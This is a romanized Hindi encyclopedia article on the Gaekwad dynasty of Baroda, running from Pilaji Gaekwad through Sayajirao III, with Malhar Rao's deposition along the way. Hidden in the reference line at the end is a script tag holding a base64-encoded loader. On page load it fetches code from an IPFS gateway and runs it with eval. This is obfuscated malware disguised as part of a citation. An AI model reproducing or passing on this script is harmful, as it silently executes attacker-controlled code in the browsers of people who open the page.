गायकवाड़
gayakava d bharatiy itihas mean ek prasiddh maratha vansh ke roop mean prasiddh raha hai, jo peshava bajirav pratham (1720-1740 ee.) ke shasan kal mean satta mean aya tha. is vansh ke sansthapak damaji gayakava d pratham ke bare mean kuchh bhi thik se jnat nahian hai. damaji gayakava d pratham ke bhatije pilaji gayakava d (1721-32) ke jivan kal mean yah vansh pramukhata mean aya.
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peshava se sandhi
pilaji gayakava d raja sahoo ke senapati khanderav dabha de ke gut ka tha. usane 1720 ee. mean soorat se 50 mil poorv saunagadh mean ek durg ka nirman karaya tha. 1731 ee. mean pilaji 'bilhapur' athava 'balapur' ke yuddh mean khanderav ke putr aur uttaradhikari tryambakarav dabha de ki taraf se l da. kintu is yuddh mean dabha de ki parajay aur mrityu ho jane par pilaji ne peshava bajirav pratham ke sath sandhi kar li. peshava ne use gujarat par nigah rakhane ko kaha. gayakava d ne apana mukhy thikana b dauda ko banaya. pilaji gayakava d ki 1732 ee. mean hatya kar di gee aur usaka putr damaji gayakava d dvitiy uttaradhikari bana.[1]
aangrezoan ka vafadar
damaji gayakava d dvitiy san 1761 ee. mean panipat ke yuddh mean maujood tha aur yuddh mean har ho jane ke bad vah vahaan se bhag nikala. san 1768 ee. mean damaji gayakava d dvitiy ki mrityu ho gee. damaji gayakava d dvitiy ke kee putr the, jinamean 1768 se 1800 ee. tak lagatar uttaradhikar ka yuddh chalata raha. 1800 ee. mean damaji gayakava d dvitiy ke b de l dake govindarav ka putr sianhasan par asin hua, jisane 1819 ee. tak shasan kiya. is dauran gayakava d vansh ne aangrezoan ke sath shantipoorn sambandh banaye rakha aur bina kisi yuddh ke 1805 ee. mean ashrit sandhi kar li. gayakava d vansh aangrezoan ke prati vafadar bana raha aur is karan doosare aur tisare aangl-maratha yuddhoan mean any maratha saradaroan ko jan-dhan ki jo apar kshati uthani p di, usase vah bach gaya.
vansh ke uttaradhikari
anandarav ka uttaradhikari usaka bhaee sayajirav dvitiy (1819-47) bana aur usake bad usake tin putr ganapatirav (1847-56), khanderav (1856-70) aur malhararav (1870-75) kramash: sianhasan par asin hue. malhararav par kushasan aur british rejideant karnal feyare ko vish dekar marava dalane ka abhiyog chalaya gaya. malhararav ko giraphtar kar liya gaya aur vaisaray l aaurd narthabruk dvara niyukt ayog ke samane us par muqadama chalaya gaya. hatyabhiyog par ayog ke sadasyoan mean matabhed tha, at: malhararav ko bari kar diya gaya, kintu duracharan aur kushasan ke arop mean use gaddi se utar diya gaya. malhararav ke koee santan nahian thi, isalie bharat sarakar ne sayajirav namak balak ko, jisaka gayakava d vansh se door ka sambandh tha, gaddi par baitha diya. sarakar ne naye shasak ke alpavayask rahane tak prashasan sar ti. madhavarav ke hathoan supurd kar diya. sayajirav tritiy ne 1875 ee. mean shasan sambhala aur 1933 ee. mean usaki mrityu huee. sayajirav ne apane ko deshi rajava doan mean sarvadhik yogy aur jagarook shasak siddh kiya aur b dauda ko bharat ka sarvadhik unnatishil rajy bana diya.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 124 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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